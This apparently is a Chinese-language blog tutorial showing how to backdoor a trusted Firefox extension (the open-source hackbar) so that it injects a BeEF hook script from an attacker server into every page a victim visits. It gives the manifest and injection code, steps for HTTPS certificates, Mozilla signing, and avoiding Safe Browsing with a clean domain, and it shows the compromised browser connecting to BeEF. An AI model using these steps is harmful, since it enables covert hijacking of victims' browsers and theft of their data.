本文作者:hl0rey
1、manifest.json
这个文件是每个插件都必须有的一个文件(其他的文件是可选的),它定义了插件的所有的信息,如权限,要引入哪些脚本,包含哪些资源等等。
2、Background pages 后台执行的脚本,如果你的插件需要有一个脚本文件一直在后台执行的话,这个脚本不在任何用户的可见的页签里运行,而是在浏览器为它创建的一个空白页里运行,所以它不能访问别的网页的DOM,所以用它没法做js注入。
3、Content scripts 直译是内容脚本,我理解为对应某内容而运行的脚本。它可以操作对应的页面的DOM,用它来注入js比较方便。
个人认为,后门注入到可信的程序里就可以了,这也是一种比较理想的状态,而不用自己开发一个很好的软件,然后把后门加进去。所以,后边这四项对于做后门并不重要,知道就好,主要是前面三项要理解。咱们只要改动可信的插件,把咱们的脚本放进去就好了。
4、browser action files 在工具栏中添加按钮
5、page action files 在地址栏添加按钮
6、options pages 为用户定义一个可浏览的UI界面,可以改变插件的设置
7、web-accessible resources 使打包好的内容可用于网页与目录脚本
manifest.json
{ "description": "hook ", "manifest_version": 2, "name": "hookyou", "version": "1.0", "content_scripts": [ { "matches": ["<all_urls>"], "js": ["hookyou.js"] } ]}
"matches": ["<all_urls>"] 这句表示要在所有的网站都注入 js 修改 <all_urls> 为其他的值,就只在特定网站注入。
hookyou.js
var oScript= document.createElement('script');oScript.src=" 你的 beef 的hook.js";document.body.appendChild(oScript);
在地址栏输入 about:debugging
,回车,然后选择临时载入附加组件,再找到你的插件的目录,选中它的 manifest.json
文件,这个插件就被加载了。这时候你去访问网址,就会发现,body 里被注入了 js。
现在的浏览器是不允许在 https 的网页引入 http 资源的(图片除外),但是现在的知名网址,大都是 https 了,所以不能放弃劫持 https 的网站。那么我们的 beef 就得支持 https。
本地测试的话,很简单,直接让靶机信任证书就好了,但是要用到实战就有些尴尬了。所以我们要用合法的证书,腾讯云有免费的,申请也很快,可以自行申请。值得一提的是,需要把那几个文件提供给 beef。
申请完毕之后,下载到本地解压,其中有如下几个文件。
beef 使用的 web 服务器软件是 apache,所以我们打开 apache 文件夹。
beef 只需要文件 2 和文件 3,先把 beef 原来的证书备份一下,然后把文件 2 文件 3 复制到 beef 证书的存访位置,然后把文件 2 改名为 beef_cert.pem
,文件 3 改名为 beef_key.pem
。(我不懂密码学,对这些证书文件就不妄加论断了,只说怎么操作,hhhhh)
然后修改配置文件,把此处 enable
项的值改为 true
然后重新启动 beef,你就得用 https 协议访问 3000 端口了。
首先下载某插件的源码
https://github.com/khoiasd/hackbar
把 hookyou.js
放进它的目录
然后修改某插件的 manifest.json
文件,让它把 hookyou.js
当作 conten_script
引入。
狐插件的必须要经过签名才能安装,否则会提示插件损坏。
具体流程:插件打包->上传到附件组件开发者中心->通过校验->下载已签名插件->安装插件
插件打包
把插件目录下的文件,用 zip 压缩即可。注意是文件夹下的文件,而不是压缩整个文件夹。
打开文件夹,选中再压缩。
下的步骤都很简单,没什么注意的了,只要你的插件不报错,问题不大。
如果你的域名被标识为含有恶意网站的话,在从你的网站加载 js 时,就会被 safe browsing 拦截,影响测试效果。具体的关闭方法是:
实战时,你得找个干净的域名。
也就是 CSP 头,有个网址的相应包里会有找个头,通常就不能这么直接的引入 js 了,所以有些网页你虽然打开了,但是 beef 里并没有上线(除去网络不好的原因),这是正常的。
不过我们也不用去绕过,插件可以直接执行 js,只是不能从外部引入站点不可信的 js。
测试环境
win10 firefox 59.0.2(64 位)
首先安装插件后门到靶机的浏览器。貌似看起来跟正常的插件没什么区别。
插件貌似看起来跟正常的插件没什么区别。
然后登陆 beef 后台,在靶机浏览器打开几个网站,稍等一会。
这时我们看到,靶机上线了。
看一下靶机页面源代码。
执行个模块试试
经过黑客的手的东西都很危险啊,还是小心使用的好。
本文只是展示了用借助 beef 来实现攻击,结合其他平台也是一样。
自己编写后门代码更是优秀,火狐插件有很多 API,可以很方便的盗取信息,实现远程控制,奈何本人前端水平太差,只能在这抛砖引玉了。